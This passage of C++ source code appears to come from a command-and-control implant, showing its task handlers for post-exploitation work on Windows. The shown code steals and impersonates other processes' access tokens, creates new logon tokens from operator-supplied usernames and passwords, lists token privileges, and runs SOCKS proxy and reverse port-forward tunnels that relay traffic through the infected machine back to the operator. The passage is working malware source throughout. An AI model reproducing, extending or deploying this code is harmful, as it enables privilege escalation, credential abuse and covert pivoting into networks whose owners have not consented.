TOKEN_NODE* Token = Self->Tkn->Steal( ProcessID );
if ( ! Token ) {
Self->Pkg->Int32( Package, FALSE );
break;
}
Self->Pkg->Int32( Package, TRUE );
Self->Pkg->Int32( Package, Token->TokenID );
Self->Pkg->Int32( Package, Token->ProcessID );
Self->Pkg->Str( Package, Token->User ? Token->User : (CHAR*)"" );
Self->Pkg->Str( Package, Token->Host ? Token->Host : (CHAR*)"" );
Self->Pkg->Int64( Package, (INT64)Token->Handle );
KhDbg( "[+] Token ID: %d", Token->TokenID );
KhDbg( "[+] Process ID: %d", Token->ProcessID );
KhDbg( "[+] User Name: %s", Token->User ? Token->User : "NULL" );
KhDbg( "[+] Host Name: %s", Token->Host ? Token->Host : "NULL" );
KhDbg( "[+] Handle: %p", Token->Handle );
if ( TokenUse ) {
if ( Self->Tkn->Use( Token->Handle ) ) {
KhDbg("Token impersonated successfully");
} else {
KhDbg("Failed to impersonate token: %d", KhGetError);
}
} else {
KhDbg("TokenUse=false, not impersonated");
}
break;
}
case Action::Token::Impersonate: {
ULONG TokenID = Self->Psr->Int32( Parser );
KhDbg("Impersonating Token ID: %d", TokenID);
TOKEN_NODE* TokenObj = Self->Tkn->GetByID( TokenID );
if ( !TokenObj ) {
KhDbg("Token ID %d not found", TokenID);
Self->Pkg->Int32( Package, FALSE );
KhSetError( ERROR_NOT_FOUND );
break;
}
BOOL result = Self->Tkn->Use( TokenObj->Handle );
KhDbg("Impersonate Result: %s", result ? "SUCCESS" : "FAILED");
Self->Pkg->Int32( Package, result );
break;
}
case Action::Token::Remove: {
ULONG TokenID = Self->Psr->Int32( Parser );
BOOL result = Self->Tkn->Rm( TokenID );
Self->Pkg->Int32( Package, result );
break;
}
case Action::Token::Revert: {
BOOL result = Self->Tkn->Rev2Self();
Self->Pkg->Int32( Package, result );
break;
}
case Action::Token::Make: {
KhDbg("[Task::Token] Comando: Make");
CHAR* UserName = Self->Psr->Str( Parser, 0 );
CHAR* Password = Self->Psr->Str( Parser, 0 );
CHAR* DomainName = Self->Psr->Str( Parser, 0 );
HANDLE TokenHandle = nullptr;
KhDbg("User Name: %s", UserName ? UserName : "NULL");
KhDbg("Domain Name: %s", DomainName ? DomainName : "NULL");
KhDbg("Attempting logon: %s\\%s", DomainName ? DomainName : ".", UserName);
if ( ! Self->Advapi32.LogonUserA(
UserName,
DomainName && DomainName[0] ? DomainName : nullptr,
Password,
LOGON32_LOGON_INTERACTIVE,
LOGON32_PROVIDER_DEFAULT,
&TokenHandle
) ) {
DWORD Error = KhGetError;
if ( !Self->Advapi32.LogonUserA(
UserName,
DomainName && DomainName[0] ? DomainName : nullptr,
Password,
LOGON32_LOGON_NETWORK,
LOGON32_PROVIDER_DEFAULT,
&TokenHandle
) ) {
Self->Pkg->Int32( Package, FALSE );
break;
}
}
if ( !TokenHandle || TokenHandle == INVALID_HANDLE_VALUE ) {
KhDbg("[-] Invalid token handle");
Self->Pkg->Int32( Package, FALSE );
break;
}
TOKEN_NODE* NewToken = Self->Tkn->Add( TokenHandle, Self->Session.ProcessID );
if ( NewToken ) {
Self->Pkg->Int32( Package, TRUE );
Self->Pkg->Int32( Package, NewToken->TokenID );
Self->Pkg->Int32( Package, NewToken->ProcessID );
Self->Pkg->Str( Package, NewToken->User ? NewToken->User : (CHAR*)"" );
Self->Pkg->Str( Package, NewToken->Host ? NewToken->Host : (CHAR*)"" );
Self->Pkg->Int64( Package, (INT64)NewToken->Handle );
} else {
Self->Ntdll.NtClose( TokenHandle );
Self->Pkg->Int32( Package, FALSE );
}
break;
}
case Action::Token::GetPriv: {
HANDLE TokenHandle = Self->Tkn->CurrentPs();
if ( !TokenHandle || TokenHandle == INVALID_HANDLE_VALUE ) {
Self->Pkg->Int32( Package, FALSE );
break;
}
BOOL Result = Self->Tkn->GetPrivs( TokenHandle );
Self->Pkg->Int32( Package, Result );
Self->Ntdll.NtClose( TokenHandle );
break;
}
case Action::Token::LsPriv: {
ULONG PrivListLen = 0;
PRIV_LIST** PrivList = nullptr;
HANDLE TokenHandle = Self->Tkn->CurrentPs();
if ( ! TokenHandle || TokenHandle == INVALID_HANDLE_VALUE ) {
Self->Pkg->Int32( Package, 0 );
break;
}
PrivList = (PRIV_LIST**)Self->Tkn->ListPrivs( TokenHandle, PrivListLen );
Self->Pkg->Int32( Package, PrivListLen );
if ( PrivList ) {
for ( ULONG i = 0; i < PrivListLen; i++ ) {
if ( ! PrivList[i] ) {
continue;
}
Self->Pkg->Str( Package, PrivList[i]->PrivName );
Self->Pkg->Int32( Package, PrivList[i]->Attributes );
if ( PrivList[i]->PrivName ) {
KhFree( PrivList[i]->PrivName );
}
KhFree( PrivList[i] );
}
KhFree( PrivList );
}
Self->Ntdll.NtClose( TokenHandle );
break;
}
default: {
KhSetError( ERROR_INVALID_PARAMETER );
break;
}
}
return KhRetSuccess;
}
auto DECLFN Task::ProcessTunnel(
_In_ JOBS* Job
) -> ERROR_CODE {
PACKAGE* Package = Job->Pkg;
COMMAND_TUNNEL_ACCEPT_EVENT AcceptEvents[30] = { 0 };
COMMAND_TUNNEL_START_TCP_EVENT Events[90] = { 0 };
COMMAND_TUNNEL_WRITE_TCP_EVENT WriteEvents[30] = { 0 };
ULONG WriteEvtLen = 0;
ULONG AcceptLen = 0;
ULONG StartEvtLen = 0;
INT8 Index = -1;
for ( INT i = 0; i < 30; i++ ) {
if ( ! Self->Tsp->Tunnels[i].ChannelID || Self->Tsp->Tunnels[i].ChannelID == 0 ) {
Index = i; break;
}
}
timeval Timeout = { 0, 100 };
for ( INT i = 0; i < 30; i++ ) {
if ( Self->Tsp->Tunnels[i].State == TUNNEL_STATE_CONNECT ) {
ULONG ChannelId = Self->Tsp->Tunnels[i].ChannelID;
fd_set Readfds;
Readfds.fd_count = 1;
Readfds.fd_array[0] = Self->Tsp->Tunnels[i].Socket;
fd_set Exceptfds;
Exceptfds.fd_count = 1;
Exceptfds.fd_array[0] = Self->Tsp->Tunnels[i].Socket;
fd_set Writefds;
Writefds.fd_count = 1;
Writefds.fd_array[0] = Self->Tsp->Tunnels[i].Socket;
Self->Ws2_32.select( 0, &Readfds, &Writefds, &Exceptfds, &Timeout );
if ( Self->Tsp->Tunnels[i].Mode == TUNNEL_MODE_REVERSE_TCP ) {
if ( Self->Ws2_32.__WSAFDIsSet(Self->Tsp->Tunnels[i].Socket, &Readfds ) ) {
SOCKET SocketObj = Self->Ws2_32.accept( Self->Tsp->Tunnels[i].Socket, 0, 0 );
ULONG Mode = 1;
if ( Self->Ws2_32.ioctlsocket( SocketObj, FIONBIO, &Mode ) == -1 ) {
Self->Ws2_32.closesocket( SocketObj );
continue;
}
ULONG cid = Self->Krnl32.GetTickCount();
cid = Self->Ntdll.RtlRandomEx(&cid);
cid = cid % ULONG_MAX;
KhDbg("cid: %lu", cid);
if ( Index != -1 ) {
Self->Tsp->Tunnels[Index].ChannelID = cid;
Self->Tsp->Tunnels[Index].Port = 0;
Self->Tsp->Tunnels[Index].Host = nullptr;
Self->Tsp->Tunnels[Index].Username = nullptr;
Self->Tsp->Tunnels[Index].Password = nullptr;
Self->Tsp->Tunnels[Index].Socket = SocketObj;
Self->Tsp->Tunnels[Index].State = TUNNEL_STATE_READY;
Self->Tsp->Tunnels[Index].Mode = TUNNEL_MODE_SEND_TCP;
Self->Tsp->Tunnels[Index].WaitTime = 180000;
Self->Tsp->Tunnels[Index].StartTick = Self->Krnl32.GetTickCount();
Self->Tsp->TunnelTasksCount++;
}
if ( AcceptLen < 30 ) {
AcceptEvents[AcceptLen].TunnelID = Self->Tsp->Tunnels[i].ChannelID;
AcceptEvents[AcceptLen].SubCmd = COMMAND_TUNNEL_ACCEPT;
AcceptEvents[AcceptLen].ChannelID = cid;
AcceptLen++;
}
}
} else {
if ( Self->Tsp->Tunnels[i].Mode == TUNNEL_MODE_SEND_TCP ) {
if ( Self->Ws2_32.__WSAFDIsSet(Self->Tsp->Tunnels[i].Socket, &Exceptfds ) ) {
Self->Tsp->Tunnels[i].State = TUNNEL_STATE_CLOSE;
ULONG Result = 0;
if ( StartEvtLen < 90 ) {
Events[StartEvtLen].ChannelID = Self->Tsp->Tunnels[i].ChannelID;
Events[StartEvtLen].SubCmd = COMMAND_TUNNEL_START_TCP;
Events[StartEvtLen].Result = Result;
StartEvtLen++;
}
continue;
}
if ( Self->Ws2_32.__WSAFDIsSet( Self->Tsp->Tunnels[i].Socket, &Writefds ) ) {
Self->Tsp->Tunnels[i].State = TUNNEL_STATE_READY;
ULONG Result = 1;
if ( StartEvtLen < 90 ) {
Events[StartEvtLen].ChannelID = Self->Tsp->Tunnels[i].ChannelID;
Events[StartEvtLen].SubCmd = COMMAND_TUNNEL_START_TCP;
Events[StartEvtLen].Result = Result;
StartEvtLen++;
}
continue;
}
if ( Self->Ws2_32.__WSAFDIsSet( Self->Tsp->Tunnels[i].Socket, &Readfds ) ) {
SOCKET TmpSocketObj = Self->Ws2_32.accept( Self->Tsp->Tunnels[i].Socket, 0, 0 );
Self->Tsp->Tunnels[i].Socket = TmpSocketObj;
if ( TmpSocketObj == -1 ) {
Self->Tsp->Tunnels[i].State = TUNNEL_STATE_CLOSE;
ULONG Result = 0;
if ( StartEvtLen < 90 ) {
Events[StartEvtLen].ChannelID = Self->Tsp->Tunnels[i].ChannelID;
Events[StartEvtLen].SubCmd = COMMAND_TUNNEL_START_TCP;
Events[StartEvtLen].Result = Result;
StartEvtLen++;
}
}
else {
Self->Tsp->Tunnels[i].State = TUNNEL_STATE_READY;
ULONG Result = 1;
if ( StartEvtLen < 90 ) {
Events[StartEvtLen].ChannelID = Self->Tsp->Tunnels[i].ChannelID;
Events[StartEvtLen].SubCmd = COMMAND_TUNNEL_START_TCP;
Events[StartEvtLen].Result = Result;
StartEvtLen++;
}
}
Self->Ws2_32.closesocket(Self->Tsp->Tunnels[i].Socket);
continue;
}
}
if ( Self->Krnl32.GetTickCount() - Self->Tsp->Tunnels[i].StartTick > Self->Tsp->Tunnels[i].WaitTime ) {
Self->Tsp->Tunnels[i].State = TUNNEL_STATE_CLOSE;
ULONG Result = 0;
if (StartEvtLen < 90) {
Events[StartEvtLen].ChannelID = Self->Tsp->Tunnels[i].ChannelID;
Events[StartEvtLen].SubCmd = COMMAND_TUNNEL_START_TCP;
Events[StartEvtLen].Result = Result;
StartEvtLen++;
}
}
}
}
}
ULONG finishTick = Self->Krnl32.GetTickCount() + 2500;
while ( Self->Krnl32.GetTickCount() < finishTick ) {
ULONG iterCount = 0;
KhDbg("In Recv");
for ( INT i = 0; i < 30; i++ ) {
if ( Self->Tsp->Tunnels[i].State != TUNNEL_STATE_READY ) continue;
ULONG DataLength = 0;
int rc = Self->Ws2_32.ioctlsocket( Self->Tsp->Tunnels[i].Socket, FIONREAD, &DataLength );
if ( DataLength > 0xFFFFC ) DataLength = 0xFFFFC;
if ( rc == -1 ) {
Self->Tsp->Tunnels[i].State = TUNNEL_STATE_CLOSE;
ULONG Result = 0;
if ( StartEvtLen < 90 ) {
Events[StartEvtLen].ChannelID = Self->Tsp->Tunnels[i].ChannelID;
Events[StartEvtLen].SubCmd = COMMAND_TUNNEL_START_TCP;
Events[StartEvtLen].Result = Result;
StartEvtLen++;
}
} else {
KhDbg("rc != -1, DataLength=%lu on Tunnel %d", DataLength, Self->Tsp->Tunnels[i].ChannelID);
if ( DataLength ) {
PBYTE Buffer = (PBYTE)KhAlloc( DataLength );
if ( ! Buffer ) continue;
BYTE* BufferBase = Buffer; // Keep original pointer for freeing and accessing data
DWORD RecvSize = 0;
ULONG dwReaded = 0;
BOOL Continuer = true;
BOOL Continuer2 = true;
ULONG readed = -1;
if ( DataLength <= 0 ) {
Continuer = FALSE; readed = 0;
}
if ( Continuer ) {
KhDbg("Starting recv loop for Tunnel %d", Self->Tsp->Tunnels[i].ChannelID);
while ( 1 ) {
RecvSize = Self->Ws2_32.recv(Self->Tsp->Tunnels[i].Socket, (PCHAR)( Buffer + dwReaded ), DataLength - dwReaded, 0);
if ( RecvSize == 0 || RecvSize == -1 ) break;
dwReaded += RecvSize;
if ( (int)dwReaded >= DataLength ) {
Continuer2 = FALSE; readed = dwReaded;
break;
}
}
if( Continuer2 ){
Self->Ws2_32.shutdown( Self->Tsp->Tunnels[i].Socket, 2 );
Self->Ws2_32.closesocket( Self->Tsp->Tunnels[i].Socket );
readed = -1;
}
}
KhDbg("Finished recv loop for Tunnel %d, readed=%lu", Self->Tsp->Tunnels[i].ChannelID, readed);
if ( readed == (ULONG)-1 ) {
Self->Tsp->Tunnels[i].State = TUNNEL_STATE_CLOSE;
ULONG Result = 0;
if ( StartEvtLen < 90 ) {
Events[StartEvtLen].ChannelID = Self->Tsp->Tunnels[i].ChannelID;
Events[StartEvtLen].SubCmd = COMMAND_TUNNEL_START_TCP;
Events[StartEvtLen].Result = Result;
StartEvtLen++;
}
KhFree( BufferBase );
} else if ( readed ) {
KhDbg("readed %lu bytes from Tunnel %d, Adding to COMMAND_TUNNEL_WRITE_TCP", readed, Self->Tsp->Tunnels[i].ChannelID);
if ( WriteEvtLen < 90 ) {
WriteEvents[WriteEvtLen].ChannelID = Self->Tsp->Tunnels[i].ChannelID;
WriteEvents[WriteEvtLen].SubCmd = COMMAND_TUNNEL_WRITE_TCP;
WriteEvents[WriteEvtLen].Data = BufferBase;
WriteEvents[WriteEvtLen].DataLen = readed;
WriteEvtLen++;
}
iterCount += 1;
} else {
KhFree( BufferBase );
}
}
}
} // for tunnels
if ( iterCount == 0 ) break;
}
Self->Pkg->Int32( Package, AcceptLen );
for (ULONG i = 0; i < AcceptLen; i++) {
KhDbg("Packing event %d: TunnelID=%lu, SubCmd=%lu, ChannelID=%lu",
i, AcceptEvents[i].TunnelID, AcceptEvents[i].SubCmd, AcceptEvents[i].ChannelID);
Self->Pkg->Int32( Package, AcceptEvents[i].TunnelID );
Self->Pkg->Int32( Package, AcceptEvents[i].SubCmd );
Self->Pkg->Int32( Package, AcceptEvents[i].ChannelID );
}
KhDbg("Packing %d tunnel events", StartEvtLen);
Self->Pkg->Int32( Package, StartEvtLen );
for (ULONG i = 0; i < StartEvtLen; i++) {
KhDbg("Packing event %d: ChannelID=%lu, SubCmd=%lu, Result=%lu",
i, Events[i].ChannelID, Events[i].SubCmd, Events[i].Result);
Self->Pkg->Int32( Package, Events[i].ChannelID );
Self->Pkg->Int32( Package, Events[i].SubCmd );
Self->Pkg->Int32( Package, Events[i].Result );
}
KhDbg("Packing %d tunnel Write events", WriteEvtLen);
Self->Pkg->Int32( Package, WriteEvtLen );
for ( ULONG i = 0; i < WriteEvtLen; i++ ) {
KhDbg("Packing event %d: ChannelID=%lu, SubCmd=%lu, DataLen=%lu", i, WriteEvents[i].ChannelID, WriteEvents[i].SubCmd, WriteEvents[i].DataLen);
Self->Pkg->Int32( Package, WriteEvents[i].ChannelID );
Self->Pkg->Int32( Package, WriteEvents[i].SubCmd );
Self->Pkg->Bytes( Package, WriteEvents[i].Data, WriteEvents[i].DataLen );
Self->Pkg->Int32( Package, WriteEvents[i].DataLen );
}
for ( ULONG i = 0; i < WriteEvtLen; i++ ) {
if ( WriteEvents[i].Data ) {
KhFree( WriteEvents[i].Data );
}
}
for ( INT i = 0; i < 30; i++ ) {
if ( Self->Tsp->Tunnels[i].State == TUNNEL_STATE_CLOSE && Self->Tsp->Tunnels[i].ChannelID != 0 ) {
if (Self->Tsp->Tunnels[i].CloseTimer == 0) {
Self->Tsp->Tunnels[i].CloseTimer = Self->Krnl32.GetTickCount();
continue;
}
if ( Self->Tsp->Tunnels[i].CloseTimer + 1000 < Self->Krnl32.GetTickCount() ) {
if ( Self->Tsp->Tunnels[i].Mode == TUNNEL_MODE_SEND_TCP || Self->Tsp->Tunnels[i].Mode == TUNNEL_MODE_SEND_UDP )
Self->Ws2_32.shutdown(Self->Tsp->Tunnels[i].Socket, 2);
if ( Self->Ws2_32.closesocket( Self->Tsp->Tunnels[i].Socket ) && Self->Tsp->Tunnels[i].Mode == TUNNEL_MODE_REVERSE_TCP ) {
continue;
}
KhDbg("Closing Tunnel %d, TunnelTasksCount: %d", Self->Tsp->Tunnels[i].ChannelID, Self->Tsp->TunnelTasksCount);
// Free allocated strings before resetting the tunnel
if (Self->Tsp->Tunnels[i].Host && Self->Hp->CheckPtr(Self->Tsp->Tunnels[i].Host)) {
KhDbg("Freeing Host pointer");
KhFree(Self->Tsp->Tunnels[i].Host);
Self->Tsp->Tunnels[i].Host = nullptr;
}
if (Self->Tsp->Tunnels[i].Username && Self->Hp->CheckPtr(Self->Tsp->Tunnels[i].Username)) {
KhFree(Self->Tsp->Tunnels[i].Username);
Self->Tsp->Tunnels[i].Username = nullptr;
}
if (Self->Tsp->Tunnels[i].Password && Self->Hp->CheckPtr(Self->Tsp->Tunnels[i].Password)) {
KhFree(Self->Tsp->Tunnels[i].Password);
Self->Tsp->Tunnels[i].Password = nullptr;
}
Self->Tsp->Tunnels[i].ChannelID = 0;
Self->Tsp->Tunnels[i].State = 0;
Self->Tsp->Tunnels[i].CloseTimer = 0;
Self->Tsp->TunnelTasksCount -= 1;
KhDbg("TunnelTasksCount: %d", Self->Tsp->TunnelTasksCount);
}
}
}
if ( Self->Tsp->TunnelTasksCount == 0 ){
Job->Clean = TRUE;
return KhRetSuccess;
}
Job->Clean = FALSE;
return KhRetSuccess;
}
auto DECLFN Task::Socks(
_In_ JOBS* Job
) -> ERROR_CODE {
PACKAGE* Package = Job->Pkg;
PARSER* Parser = Job->Psr;
ULONG DecisionFlag = Self->Psr->Int32( Parser );
KhDbg( "start flag: %d", DecisionFlag );
INT8 Index = -1;
switch ( DecisionFlag ) {
case KH_SOCKET_NEW: {
CHAR* Protocol = Self->Psr->Str( Parser, 0 );
ULONG ChannelID = Self->Psr->Int32( Parser );
CHAR* Address = Self->Psr->Str( Parser, 0 );
ULONG Port = Self->Psr->Int32( Parser );
KhDbg( "protocol: %s", Protocol );
KhDbg( "channelID: %lu", ChannelID );
KhDbg( "address: %s", Address );
KhDbg( "port: %d", Port );
for ( INT i = 0; i < 30; i++ ) {
if ( ! Self->Tsp->Tunnels[i].ChannelID || Self->Tsp->Tunnels[i].ChannelID == 0 ) {
Index = i; break;
}
}
if ( Index == -1 ) {
CHAR* ErrorMsg = "Maximum concurrent Tunnels (30) reached";
KhDbg("%s", ErrorMsg); QuickErr( ErrorMsg );
return KhRetSuccess;
}
KhDbg("index: %d", Index);
// Defensive: ensure any old allocations from this slot are freed before reuse
if (Self->Tsp->Tunnels[Index].Host && Self->Hp->CheckPtr(Self->Tsp->Tunnels[Index].Host)) {
KhFree(Self->Tsp->Tunnels[Index].Host);
Self->Tsp->Tunnels[Index].Host = nullptr;
}
if (Self->Tsp->Tunnels[Index].Username && Self->Hp->CheckPtr(Self->Tsp->Tunnels[Index].Username)) {
KhFree(Self->Tsp->Tunnels[Index].Username);
Self->Tsp->Tunnels[Index].Username = nullptr;
}
if (Self->Tsp->Tunnels[Index].Password && Self->Hp->CheckPtr(Self->Tsp->Tunnels[Index].Password)) {
KhFree(Self->Tsp->Tunnels[Index].Password);
Self->Tsp->Tunnels[Index].Password = nullptr;
}
WSAData WsaData;
if ( Self->Ws2_32.WSAStartup( 514, &WsaData ) ) {
Self->Ws2_32.WSACleanup();
QuickErr( "Unable To Initialize Winsock Library" );
return KhRetSuccess;
}
SOCKET SocketObj = Self->Ws2_32.socket( AF_INET, SOCK_STREAM, 0 );
if ( SocketObj != INVALID_SOCKET ) {
hostent* Host = Self->Ws2_32.gethostbyname( Address );
if ( Host ) {
ULONG Mode = 1;
sockaddr_in SocketAddr = { 0 };
Mem::Copy((PVOID)&SocketAddr.sin_addr, (PVOID)(*(const void**)Host->h_addr_list), Host->h_length);
SocketAddr.sin_family = AF_INET;
SocketAddr.sin_port = Self->Ws2_32.htons( Port );
if ( Self->Ws2_32.ioctlsocket( SocketObj, FIONBIO, &Mode ) != -1 ) {
if ( ! ( Self->Ws2_32.connect( SocketObj, (sockaddr*)&SocketAddr, sizeof( sockaddr ) ) == -1 && Self->Ws2_32.WSAGetLastError() != WSAEWOULDBLOCK ) ) {
KhDbg("Socket connected successfully: %s:%d", Address, Port);
INT32 Mode = 0;
ULONG AddrLen = Str::LengthA(Address);
CHAR* HostCopy = (CHAR*)KhAlloc(AddrLen + 1);
if (HostCopy) {
Mem::Copy(HostCopy, Address, AddrLen);
HostCopy[AddrLen] = '\0';
}
Self->Tsp->Tunnels[Index].ChannelID = ChannelID;
Self->Tsp->Tunnels[Index].Host = HostCopy;
Self->Tsp->Tunnels[Index].Port = Port;
Self->Tsp->Tunnels[Index].Username = nullptr;
Self->Tsp->Tunnels[Index].Password = nullptr;
Self->Tsp->Tunnels[Index].Socket = SocketObj;
Self->Tsp->Tunnels[Index].State = TUNNEL_STATE_CONNECT;
Self->Tsp->Tunnels[Index].Mode = TUNNEL_MODE_SEND_TCP;
Self->Tsp->Tunnels[Index].WaitTime = 30000;
Self->Tsp->Tunnels[Index].StartTick = Self->Krnl32.GetTickCount();
KhDbg("TunnelTasksCount: %d", Self->Tsp->TunnelTasksCount);
Self->Tsp->TunnelTasksCount++;
KhDbg("TunnelTasksCount: %d", Self->Tsp->TunnelTasksCount);
if( Self->Tsp->TunnelTasksCount == 1 ){
KhDbg("Adding Process Tunnel job");
PARSER* TmpPsrDownload = nullptr;
PBYTE TmpBufDownload = (BYTE*)KhAlloc( sizeof(UINT16) );
UINT16 CmdDownload = (UINT16)Action::Task::ProcessTunnels;
JOBS* NewJobDownload = nullptr;
// 4-byte big-endian length
TmpBufDownload[0] = (CmdDownload ) & 0xFF;
TmpBufDownload[1] = (CmdDownload >> 8) & 0xFF;
TmpPsrDownload = (PARSER*)KhAlloc( sizeof(PARSER) );
if ( ! TmpPsrDownload ) {
KhDbg("ERROR: Failed to create TmpParser");
return KhGetError;
}
// Initialize parser (Parser::New makes an internal copy)
Self->Psr->New( TmpPsrDownload, TmpBufDownload, sizeof(UINT16) );
KhFree( TmpBufDownload );
// Now create the job — IsResponse = FALSE so Jobs::Create will call Bytes() on TmpPsr
NewJobDownload = Self->Jbs->Create( Self->Jbs->TunnelUUID, TmpPsrDownload, TRUE );
if ( ! NewJobDownload ) {
KhDbg("WARNING: Failed to create job for Process Tunnel task");
KhFree(TmpBufDownload);
return KhGetError;
}
}
return KhRetSuccess;
}
}
}
}
Self->Ws2_32.closesocket( SocketObj );
ULONG Result = 0;
Self->Pkg->Int64( Package, ChannelID );
Self->Pkg->Int64( Package, COMMAND_TUNNEL_START_TCP );
Self->Pkg->Int16( Package, Result );
}
case KH_SOCKET_DATA: {
CHAR* Protocol = Self->Psr->Str( Parser, 0 );
ULONG ChannelID = Self->Psr->Int32( Parser );
ULONG ChunkSize = Self->Psr->Int32( Parser );
BYTE* ChunkData = Self->Psr->Bytes( Parser, 0 );
KhDbg( "Protocol: %s ", Protocol );
KhDbg( "Channel ID: %lu", ChannelID );
KhDbg( "Chunk Size: %d ", ChunkSize );
//// debug chunk data
// KhDbg( "Chunk Bytes on SOCKS WRITE channelID: %lu, Length: %d", channelID, ChunkSize );
// for ( UINT64 i = 0; i < ChunkSize; i++ ) {
// KhDbg( "%02X ", ChunkData[i] );
// }
// KhDbg( "Done Printing\n" );
INT ChannelIndex = -1;
for ( INT i = 0; i < 30; i++ ) {
if (
Self->Tsp->Tunnels[i].ChannelID && Self->Tsp->Tunnels[i].ChannelID == ChannelID
) { ChannelIndex = i; break; }
}
if ( ChannelIndex == -1 ) {
QuickErr( "Channel ID not found" );
return KhRetSuccess;
}
KhDbg("ChannelIndex: %lu", ChannelIndex);
DWORD FinishTick = Self->Krnl32.GetTickCount() + 30000;
timeval Timeout = { 0, 100 };
fd_set Exceptfds = { 0 };
fd_set Writefds = { 0 };
while ( Self->Krnl32.GetTickCount() < FinishTick ) {
Writefds.fd_array[0] = Self->Tsp->Tunnels[ChannelIndex].Socket;
Writefds.fd_count = 1;
Exceptfds.fd_array[0] = Writefds.fd_array[0];
Exceptfds.fd_count = 1;
Self->Ws2_32.select( 0, 0, &Writefds, &Exceptfds, &Timeout );
if ( Self->Ws2_32.__WSAFDIsSet( Self->Tsp->Tunnels[ChannelIndex].Socket, &Exceptfds ) ) break;
if ( Self->Ws2_32.__WSAFDIsSet( Self->Tsp->Tunnels[ChannelIndex].Socket, &Writefds ) ) {
if ( Self->Ws2_32.send(Self->Tsp->Tunnels[ChannelIndex].Socket, (CHAR*)ChunkData, ChunkSize, 0) != -1 || Self->Ws2_32.WSAGetLastError() != WSAEWOULDBLOCK ){
return KhRetSuccess;
}
Self->Krnl32.Sleep(1000);
}
}
break;
}
case KH_SOCKET_CLOSE:{
ULONG ChannelID = Self->Psr->Int32( Parser );
KhDbg( "Delete and close Channel ID: %lu", ChannelID );
for (INT i = 0; i < 30; i++) {
if ( Self->Tsp->Tunnels[i].ChannelID == ChannelID && Self->Tsp->Tunnels[i].State != TUNNEL_STATE_CLOSE ) {
Self->Tsp->Tunnels[i].State = TUNNEL_STATE_CLOSE;
break;
}
}
}
}
return KhRetSuccess;
}
auto Task::RPortfwd(
_In_ JOBS* Job
) -> ERROR_CODE {
PACKAGE* Package = Job->Pkg;
PARSER* Parser = Job->Psr;
INT8 Index = -1;
ULONG ChannelID = Self->Psr->Int32( Parser );
ULONG Port = Self->Psr->Int32( Parser );
KhDbg( "Channel ID: %lu", ChannelID );
KhDbg( "Port: %d", Port );
for ( INT i = 0; i < 30; i++ ) {
if ( ! Self->Tsp->Tunnels[i].ChannelID || Self->Tsp->Tunnels[i].ChannelID == 0 ) {
if ( ! ( Self->Tsp->Tunnels[i].Mode == TUNNEL_MODE_REVERSE_TCP && Self->Tsp->Tunnels[i].Port == Port && Self->Tsp->Tunnels[i].State != TUNNEL_STATE_CLOSE ) ) {
Index = i; break;
}
}
}
if ( Index == -1 ) {
QuickErr( "Maximum concurrent Tunnels (30) reached or Tunnel already exists" );
return KhRetSuccess;
}
KhDbg("index: %d", Index);
// Defensive: ensure any old allocations from this slot are freed before reuse
if (Self->Tsp->Tunnels[Index].Host && Self->Hp->CheckPtr(Self->Tsp->Tunnels[Index].Host)) {
KhFree(Self->Tsp->Tunnels[Index].Host);
Self->Tsp->Tunnels[Index].Host = nullptr;
}
if (Self->Tsp->Tunnels[Index].Username && Self->Hp->CheckPtr(Self->Tsp->Tunnels[Index].Username)) {
KhFree(Self->Tsp->Tunnels[Index].Username);
Self->Tsp->Tunnels[Index].Username = nullptr;
}
if (Self->Tsp->Tunnels[Index].Password && Self->Hp->CheckPtr(Self->Tsp->Tunnels[Index].Password)) {
KhFree(Self->Tsp->Tunnels[Index].Password);
Self->Tsp->Tunnels[Index].Password = nullptr;
}
WSAData WsaData;
if ( Self->Ws2_32.WSAStartup( 514, &WsaData ) ) {
Self->Ws2_32.WSACleanup();
QuickErr( "Unable To Initialize Winsock Library" );
return KhRetSuccess;
}
SOCKET SocketObj = Self->Ws2_32.socket( AF_INET, SOCK_STREAM, 0 );
if ( SocketObj != INVALID_SOCKET ) {
sockaddr_in SocketAddr = { 0 };
SocketAddr.sin_family = AF_INET;
SocketAddr.sin_port = Self->Ws2_32.htons( Port );
ULONG Mode = 1;
if ( Self->Ws2_32.ioctlsocket( SocketObj, FIONBIO, &Mode ) != -1) {
if ( Self->Ws2_32.bind( SocketObj, (sockaddr*)&SocketAddr, sizeof( SocketAddr ) ) != -1 ) {
KhDbg("Socket binded successfully: %d", Port);
if ( Self->Ws2_32.listen( SocketObj, 10 ) != -1 ){
KhDbg("Socket listened successfully: %d", Port);
Self->Tsp->Tunnels[Index].ChannelID = ChannelID;
Self->Tsp->Tunnels[Index].Port = Port;
Self->Tsp->Tunnels[Index].Host = nullptr;
Self->Tsp->Tunnels[Index].Username = nullptr;
Self->Tsp->Tunnels[Index].Password = nullptr;
Self->Tsp->Tunnels[Index].Socket = SocketObj;
Self->Tsp->Tunnels[Index].State = TUNNEL_STATE_CONNECT;
Self->Tsp->Tunnels[Index].Mode = TUNNEL_MODE_REVERSE_TCP;
Self->Tsp->Tunnels[Index].WaitTime = 0;
Self->Tsp->Tunnels[Index].StartTick = Self->Krnl32.GetTickCount();
KhDbg("TunnelTasksCount: %d", Self->Tsp->TunnelTasksCount);
Self->Tsp->TunnelTasksCount++;
KhDbg("added ++\n");
if( Self->Tsp->TunnelTasksCount == 1 ){
KhDbg("Adding Process Tunnel job\n");
PARSER* TmpPsrDownload = nullptr;
PBYTE TmpBufDownload = (BYTE*)KhAlloc( sizeof(UINT16) );
UINT16 CmdDownload = (UINT16)Action::Task::ProcessTunnels;
JOBS* NewJobDownload = nullptr;
// 4-byte big-endian length
TmpBufDownload[0] = (CmdDownload ) & 0xFF;
TmpBufDownload[1] = (CmdDownload >> 8) & 0xFF;
TmpPsrDownload = (PARSER*)KhAlloc( sizeof(PARSER) );
if ( ! TmpPsrDownload ) {
KhDbg("ERROR: Failed to create TmpParser");
return KhGetError;
}
// Initialize parser (Parser::New makes an internal copy)
Self->Psr->New( TmpPsrDownload, TmpBufDownload, sizeof(UINT16) );
KhFree( TmpBufDownload );
// Now create the job — IsResponse = FALSE so Jobs::Create will call Bytes() on TmpPsr
NewJobDownload = Self->Jbs->Create( Self->Jbs->TunnelUUID, TmpPsrDownload, TRUE );
if ( ! NewJobDownload ) {
KhDbg("WARNING: Failed to create job for Process Tunnel task\n");
KhFree(TmpBufDownload);
return KhGetError;
}
}
ULONG Result = 1;
Self->Pkg->Int64( Package, ChannelID );
Self->Pkg->Int64( Package, COMMAND_TUNNEL_REVERSE );
Self->Pkg->Int16( Package, Result );
return KhRetSuccess;
}
}
}
}
Self->Ws2_32.closesocket( SocketObj );
ULONG result = 0;
Self->Pkg->Int64( Package, ChannelID );
